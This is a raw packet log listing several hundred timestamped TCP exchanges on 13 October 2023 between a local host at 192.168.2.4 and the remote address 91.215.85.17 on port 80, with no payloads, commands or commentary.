Oct 13, 2023 16:06:20.746673107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.746745110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746781111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.746823072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746937990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.746980906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.747016907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747116089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747157097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.747198105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747258902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747314930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747355938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.747378111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747672081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747714043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.747721910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747780085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.747781992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.747819901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.747853994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748014927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748095989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748152018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.748270035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748284101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748320103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.748330116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748394012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748430967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.748548031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748584986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.748598099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748658895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748696089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.748729944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748758078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748795986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.748814106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748900890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748950005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.748987913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.749017000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749118090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749156952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.749175072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749228954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.749232054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749274969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749311924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.749675035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749751091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749794006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.749818087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.749964952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750157118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750189066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750207901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.750222921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.750264883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750333071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750375032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.750386953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750453949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750504017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.750521898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750581980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750669956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750720024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750726938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.750756025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750794888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.750860929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750953913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.750993013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.751023054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751058102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.751065969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751132011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751173019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.751189947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751240015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751279116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.751497030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751544952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751673937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751710892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.751842976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751903057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.751943111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.751996040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752032995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.752110004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752129078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752168894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.752237082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752372980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752414942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.752495050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752546072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752584934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.752775908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752875090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752957106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.752998114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.753858089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.753954887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.753997087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754036903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754096985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754141092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754163980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754209042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754209995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754268885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754308939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754326105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754393101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754405975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754436970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754494905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754534006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754575014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754647970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754666090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754688025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754806042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754882097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.754920959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.754992008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755060911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755101919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755136013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755172014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755219936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755311966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755346060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755352974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755400896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755438089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755455971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755513906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755574942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755609989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755613089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755683899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755717993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755723953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755754948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755789995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755872965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755892992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.755914927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.755983114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756069899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756098032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.756141901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756230116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756268024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.756315947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756902933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756920099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756932974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756946087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756947041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.756958008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756962061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.756970882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756983995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.756983995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.756999969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757011890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757014990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757028103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757040024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757046938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757052898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757069111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757118940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757159948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757165909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757235050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757277012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757327080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757363081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757401943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757472992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757515907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757533073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757591963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757632971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757635117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757703066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757829905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757872105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.757919073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.757977962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758032084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758048058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758089066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758102894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758137941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758181095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758239031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758311987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758354902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758385897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758407116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758454084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758506060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758601904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758672953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758714914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758753061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758807898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758840084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758850098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758878946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.758907080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758948088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.758986950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759040117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759115934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759156942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759207964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759262085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759320021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759366989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759377003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759407043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759448051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759500980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759530067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759538889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759603024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759615898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759653091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759705067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759779930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759821892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759857893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759871960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.759896994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.759926081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760006905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760046005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760078907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760152102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760191917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760231972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760272980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760291100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760329962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760368109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760382891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760428905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760468006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760488987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760550022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760601044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760641098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760647058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760690928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760704041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760765076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760804892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760804892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760849953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760894060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.760909081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.760957956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761013031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761054039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761085033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761112928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761149883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761189938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761225939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761254072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761326075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761362076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761379004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761436939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761476994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761518002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761554956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761642933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761657000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761683941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761706114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761715889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761758089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761795998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761830091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761848927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761889935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.761919975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.761992931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762046099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762085915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762149096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762197971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762238026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762283087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762315989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762320042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762392044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762433052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762480021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762522936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762571096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762639046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762708902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762789011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762828112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762862921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762898922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.762938023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.762955904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763017893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763058901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763072968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763113022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763133049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763168097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763205051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763236046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763287067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763334990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.763339996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763438940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763461113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.763506889 CEST	49762	80	192.168.2.4	91.215.85.17
